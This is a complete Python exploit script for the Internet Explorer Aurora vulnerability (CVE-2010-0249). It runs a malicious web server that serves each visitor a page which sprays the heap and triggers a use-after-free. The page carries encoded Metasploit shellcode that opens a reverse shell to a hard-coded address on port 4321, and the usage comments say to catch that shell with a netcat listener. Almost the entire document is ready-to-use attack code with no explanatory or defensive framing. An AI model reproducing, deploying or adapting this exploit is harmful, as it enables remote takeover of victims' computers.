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#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
# Modify by: syniack (syniack@hotmail.com)
# This program acts as a web server that generates an exploit to
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
# The exploit was tested using Internet Explorer 6 on Windows XP SP3.
# The exploit's payload spawns the reverse shell on port 4321.
#
# Usage : nc -lvp 4321
# Usage : python ie_aurora.py [port number]
#
import sys
import socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_reverse - EXITFUNC=proess LHOST=192.168.30.5 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
payload = '\x29\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x56'
payload += '\x9f\xdc\xde\x83\xeb\xfc\xe2\xf4\xaa\xf5\x37\x93\xbe\x66\x23\x21'
payload += '\xa9\xff\x57\xb2\x72\xbb\x57\x9b\x6a\x14\xa0\xdb\x2e\x9e\x33\x55'
payload += '\x19\x87\x57\x81\x76\x9e\x37\x97\xdd\xab\x57\xdf\xb8\xae\x1c\x47'
payload += '\xfa\x1b\x1c\xaa\x51\x5e\x16\xd3\x57\x5d\x37\x2a\x6d\xcb\xf8\xf6'
payload += '\x23\x7a\x57\x81\x72\x9e\x37\xb8\xdd\x93\x97\x55\x09\x83\xdd\x35'
payload += '\x55\xb3\x57\x57\x3a\xbb\xc0\xbf\x95\xae\x07\xba\xdd\xdc\xec\x55'
payload += '\x16\x93\x57\xae\x4a\x32\x57\x9e\x5e\xc1\xb4\x50\x18\x91\x30\x8e'
payload += '\xa9\x49\xba\x8d\x30\xf7\xef\xec\x3e\xe8\xaf\xec\x09\xcb\x23\x0e'
payload += '\x3e\x54\x31\x22\x6d\xcf\x23\x08\x09\x16\x39\xb8\xd7\x72\xd4\xdc'
payload += '\x03\xf5\xde\x21\x86\xf7\x05\xd7\xa3\x32\x8b\x21\x80\xcc\x8f\x8d'
payload += '\x05\xdc\x8f\x9d\x05\x60\x0c\xb6\x96\x37\xc2\xdb\x30\xf7\xcc\x3f'
payload += '\x30\xcc\x55\x3f\xc3\xf7\x30\x27\xfc\xff\x8b\x21\x80\xf5\xcc\x8f'
payload += '\x03\x60\x0c\xb8\x3c\xfb\xba\xb6\x35\xf2\xb6\x8e\x0f\xb6\x10\x57'
payload += '\xb1\xf5\x98\x57\xb4\xae\x1c\x2d\xfc\x0a\x55\x23\xa8\xdd\xf1\x20'
payload += '\x14\xb3\x51\xa4\x6e\x34\x77\x75\x3e\xed\x22\x6d\x40\x60\xa9\xf6'
payload += '\xa9\x49\x87\x89\x04\xce\x8d\x8f\x3c\x9e\x8d\x8f\x03\xce\x23\x0e'
payload += '\x3e\x32\x05\xdb\x98\xcc\x23\x08\x3c\x60\x23\xe9\xa9\x4f\xb4\x39'
payload += '\x2f\x59\xa5\x21\x23\x9b\x23\x08\xa9\xe8\x20\x21\x86\xf7\x2c\x54'
payload += '\x52\xc0\x8f\x21\x80\x60\x0c\xde'
return self.convert_to_utf16(payload)
def get_exploit(self):
exploit = '''
<html>
<head>
<script>
var obj, event_obj;
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x80000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function initialize()
{
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
function ev2()
{
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ ) {
obj[i].data = data;
}
event_obj.srcElement;
}
function check()
{
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;
}
if (check()) {
initialize();
spray_heap();
}
else
window.location = 'about:blank'
</script>
</head>
<body>
<span id="sp1">
<img src="aurora.gif" onload="ev1(event)">
</span>
</body>
</html>
'''
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
return exploit
def get_image(self):
content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
content += '\x01\x00\x3b'
return content
def log_request(self, *args, **kwargs):
pass
def do_GET(self):
try:
if self.path == '/':
print
print '[-] Incoming connection from %s' % self.client_address[0]
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
print '[-] Sending exploit to %s ...' % self.client_address[0]
self.wfile.write(self.get_exploit())
print '[-] Exploit sent to %s' % self.client_address[0]
elif self.path == '/aurora.gif':
self.send_response(200)
self.send_header('Content-Type', 'image/gif')
self.end_headers()
self.wfile.write(self.get_image())
except:
print '[*] Error : an error has occured while serving the HTTP request'
print '[-] Exiting ...'
sys.exit(-1)
def main():
if len(sys.argv) != 2:
print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
sys.exit(0)
try:
port = int(sys.argv[1])
if port < 1024 or port > 65535:
raise ValueError
try:
serv = HTTPServer(('', port), RequestHandler)
ip = socket.gethostbyname(socket.gethostname())
print '[-] Web server is running at http://%s:%d/' % (ip, port)
try:
serv.serve_forever()
except:
print '[-] Exiting ...'
except socket.error:
print '[*] Error : a socket error has occurred'
sys.exit(-1)
except ValueError:
print '[*] Error : an invalid port number was given'
sys.exit(-1)
if __name__ == '__main__':
main()
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